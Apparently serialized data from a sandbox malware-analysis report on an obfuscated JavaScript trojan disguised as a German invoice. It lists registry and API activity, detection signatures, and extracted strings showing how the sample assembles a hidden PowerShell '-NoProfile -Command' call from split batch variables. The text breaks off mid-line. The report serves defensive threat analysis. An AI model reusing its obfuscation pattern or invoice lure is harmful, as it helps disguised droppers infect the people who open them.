24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 4d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious JS/Obfuscated.CT trojan Sample 11deb13e28a8… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 11deb13e28a8…. Malware family: JS/Obfuscated.CT trojan. Threat score 100/100. 2/24 AV engines flagged this file. 5 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","keywords":["Malicious","JS/Obfuscated.CT trojan","malware analysis","sandbox report","threat intelligence","11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d"],"about":{"@type":"SoftwareApplication","name":"Rechnung 103971 GmbH 10-02-2026.js","applicationCategory":["script","javascript"],"identifier":"11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"JS/Obfuscated.CT trojan","antivirusDetections":{"malicious":2,"total":24},"behavioralIndicators":{"malicious":5,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T920,"WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\INPROCHANDLER32") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\INPROCHANDLER32") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\INPROCHANDLER") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\INPROCHANDLER") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\LOCALSERVER32") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\LOCALSERVER32") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\LOCALSERVER") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\LOCALSERVER") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\ELEVATION") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\ELEVATION") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\TREATAS") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\TREATAS") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT\FEATURES") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT\SETTINGS") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\AMSI\PROVIDERS") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\AMSI\PROVIDERS") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST")26:Ta20,"powershell.exe" queried SystemProcessInformation at 00000000-00000652-00000C15-2670400409 [PID: 652] "powershell.exe" queried SystemProcessInformation at 00000000-00000652-00000C15-2670409465 [PID: 652] "powershell.exe" queried SystemProcessInformation at 00000000-00000652-00000C15-2670949731 [PID: 652] "powershell.exe" queried SystemProcessInformation at 00000000-00000868-00000C15-2675589956 [PID: 868] "powershell.exe" queried SystemProcessInformation at 00000000-00000868-00000C15-2675603483 [PID: 868] "powershell.exe" queried SystemProcessInformation at 00000000-00000868-00000C15-2676063874 [PID: 868] "powershell.exe" queried SystemProcessInformation at 00000000-00001280-00000C15-2678735713 [PID: 1280] "powershell.exe" queried SystemProcessInformation at 00000000-00001280-00000C15-2678743560 [PID: 1280] "powershell.exe" queried SystemProcessInformation at 00000000-00001280-00000C15-2679369620 [PID: 1280] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2682092766 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2682100379 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2682259667 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2682266907 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2684582819 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2684591421 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2684609695 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2684617217 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2685893276 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2686656370 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2686666551 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2687594197 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2687601260 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2689289563 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2689298089 [PID: 7652] "powershell.exe" queried SystemProcessInformation at 00000000-00007652-00000C15-2690773344 [PID: 7652]27:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}28:T5b9,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Detected XOR operators (encryption/decryption) Matched sigs: Able to decrypt/decode data Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains reference to crypto DLLs Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Script contains XOR (Antimalware Scan Interface) Matched sigs: HTTP requests contain Base64 strings Matched sigs: The input file contains long Base64 encoded strings Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - PowerShell with Base64 encoding29:T13b6,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007632) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007632) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac1cb5f87f0000000000000000000051ed6ab7f87f000000000000a10200000000000000000000d70529af1d1600002a00000000000000a04db916a10200008fec6ab7f87f0000e0ac1cb5f87f0000e0ac1cb5f87f0000000000000000000000000000f87f0000ffffff7f7133000000000000000000000000000000000000d8ce10b5f87f00002a0000000000000069c3c9b4f87f00003100000000000000e802000000000000ec020000000000001100011000000000e0d0bf92f000000003a3c3b6f87f0000e0d0bf92f000000000000000000000002b00000000000000000000000000000020b0cfb4f87f0000b43fceb4f87f0000e0ce10b5 (UID: 00000000-00007632) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000dd16a10200000b8e68b7f87f00000000dd16a10200000200000000000000380000000000000040000000000000003003dd16a102000068d4bf92f00000000100000000000000030000000000000001000000000000000b000000000000004011b216a102000000000000000000000000b216a1020000b828bd16a10200000000000000000000120000000100000000000000000000008000000000000000040000000000000000000000000000000845bd16a102000004000000000000003800000000000000f098c2b6f87f000038000000000000003800000000000000e0d5bf92f0000000c00c968ef87f000000000000 (UID: 00000000-00007632) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b09a9ff87f0000070000000000000000000000000000000100000000000000309ad518a10200000000000000000000d080d918a10200004c98c2b6f87f0000b0aed918a1020000b3ce8c8ef87f0000b08bd918a1020000004f9a9ff87f0000d0b09a9ff87f000000000000000000000000000000000000b08bd918a1020000309ad518a1020000c0a2d518a102000038d6bf92f00000004c98c2b6f87f0000010000000000000038d6bf92f0000000c0a2d518a1020000b08bd918a1020000010000000000000002bc8c8ef87f00008082d918a1020000a0f8d718a1020000feffffff040000007df0999ff87f000060a5d518 (UID: 00000000-00007632) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000309ad518a10200000000000000000000d080d918a10200004c98c2b6f87f000030a9d918a1020000b3ce8c8ef87f00009081d918a1020000384f9a9ff87f0000d0b09a9ff87f0000000000000000000000000000000000009081d918a1020000309ad518a1020000c0a2d518a102000030d6bf92f00000004c98c2b6f87f0000010000000000000030d6bf92f0000000c0a2d518a10200009081d918a1020000010000000000000002bc8c8ef87f00000000000000000000a0f8d718a10200008082d91804000000feffffffffffffff309ad518a10200007df0999ff87f000000000000 (UID: 00000000-00007632) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000080d6bb16a1020000fc76be16a10200003e0fe941c156334681c36e8bac8bdd7078edb2b6f87f000000000000000000000100000000000000000000000000000080b87f93f0000000c076be16a1020000010000000100000060cb7f93f000000010c4b9b6f87f0000a8c27f93f00000002d6293b6f87f0000000000000000000010c4b9b6f87f000010c4b9b6f87f00006c438fb6f87f000001000000000000000900000000000000d9e81cb5e56f00000000000000000000ffffffff000000000000000000000000903f806c0fffffff00a49fb6f87f0000000000000000000000000000000000000000000000000000fffffffff000000000000000 (UID: 00000000-00007632) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000100000800ffffff0000000001000000000000003b000000000000003b00000000000000d80100000000000075fdba16a102000061fdba16a10200000000922d000000007f0300000100000048d454b4f87f00000100000076003100800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a9d2ffff3900000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007632)2a:T102a,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000009ed3f77f00000000000000000000180000000000000000000000000000000000000000000000073629af1d1600000e92351b842a000000009ed3f77f000011c6b5a4f87f000006000000f00000000000000000000000011fb616a10200001f000000000000000000100006000000000000000000000000009ed3 (UID: 00000000-00007632) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000c000000020000000101000044000000708fe124c9ff00000000000000000000dcf5bf92f000000000000000000000004ef774b4f87f0000dcf5bf92f00000000000000000000000000000000000000099dd47b6f87f0000000000000000000080efbf92f000000090efbf92f000000001000000f000000000000000 (UID: 00000000-00007632) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b75b4f87f00000000979ef87f0000000000000000000000000000000000000806989ef87f00000001000000000000f098c2b6f87f00000001000000000000000100000000000000000000000000000006989ef87f000001000000000000000f18979ef87f000000000000000000000006989ef87f000000000000 (UID: 00000000-00007632) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c31419ef87f0000708b439ef87f00000200000000000000708b439ef87f000000000000000000000300000000000000b131419ef87f0000a815449ef87f0000d0cbde18a1020000e0cbde18a1020000888b439ef87f00000100000000000000239fc4b6f87f00000000000000000000888b439ef87f000006000000 (UID: 00000000-00007632) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d0f9ef87f0000c0fe109ef87f00000400000000000000c0fe109ef87f000000000000000000000500000000000000453d0f9ef87f0000286a119ef87f0000be5a76b4f87f0000c8c8de18a10200005806119ef87f0000b08e76b4f87f0000239fc4b6f87f00000100000000000000d1320f9ef87f0000e0fe109e (UID: 00000000-00007632) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a76b4f87f00000000139ef87f000000000000000000000000000000000000883f149ef87f00000001000000000000f098c2b6f87f0000000100000000000000010000000000000000000000000000803f149ef87f00000100000000000000bf10139ef87f00000000000000000000803f149ef87f000000000000 (UID: 00000000-00007632) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e00650078006500000063006f0080d7876c010200000000000014000000060000068f0b00000051856c (UID: 00000000-00000652) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e00650078006500000063006f000700000704740000f05dd229b101000006000006057400007070d129 (UID: 00000000-00000868) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000002000280078003800360029005c004100750074006f004900740033005c004100750074006f0049007400580000005000550042004c00490043003d0043003a005c00550073006500720073005c005000750062006c0069006300000051004200450056004a0054003d005c00530079007300740065006d00330032005c00 (UID: 00000000-00001280) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000010ec8e00c86af202d86cf202a07b1c77a07b1c77000000008096f102010000000000000000505c7300100000010000000000000034525c7302000000a0675a7330525c7300b00a0000000000ffffffff00000000750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c00 (UID: 00000000-00007652) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000e2028000000000000000a1140000cccbda09ee130f7780000000ee130f77000000000000000080000000f0624d6f00000000eccbda09507262760000e2020000000080000000f0624d6f02000000002f4d6f08ccda09fb624d6f0100000080044e6f885f647600000000a0f4bc6a38ccda09b8644d6ff42e4d6f (UID: 00000000-00007652)2b:T87a,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")2c:Ta62,file/memory contains long string with (Indicator: ""set "; File: "Rechnung 103971 GmbH 10-02-2026.js") file/memory contains long string with (Indicator: "/c set "; File: "search_crc_NQFEMERLh.cmd") Found string "set "SZXNEURFC=SystemRoot"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "KWIHXS=!%SZXNEURFC%!"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "ZJKHKT=dows"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "LUUJY=Po"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "REPTW=wer"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "ZBZWXN=Sh"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "REPLBN=ell\v1.0\po"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "TGEZ=wer"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "JUJFFW=sh"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "KAOMLG=ell."" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "CEXANM=exe"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "QBEVJT=\System32\Win"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "VRKSTZNDW=!QBEVJT!!ZJKHKT!!LUUJY!!REPTW!!ZBZWXN!!REPLBN!!TGEZ!!JUJFFW!!KAOMLG!!CEXANM!"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "TVLAPZ=\sysnative\Win"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "RBAOZE=!TVLAPZ!!ZJKHKT!!LUUJY!!REPTW!!ZBZWXN!!REPLBN!!TGEZ!!JUJFFW!!KAOMLG!!CEXANM!"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "YVQLPM=!KWIHXS!!VRKSTZNDW!"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "CQVT=-"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "BDUD=NoProfile"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "SFOJBU=!CQVT!!BDUD!"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "DEJK=-"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "VFQM=Command"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "SRAQFJP=!DEJK!!VFQM!"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js") Found string "set "DATJMLXW=%~f0"" (Indicator: "set "; File: "Rechnung 103971 GmbH 10-02-2026.js")2d:T1555,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000652-00000C17-2670723559 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000652-00000C17-2671022667 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000652-00000C17-2671256437 "cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005296-00000C17-2673835187 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000868-00000C17-2676190366 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000868-00000C17-2676203057 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000868-00000C17-2676211282 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 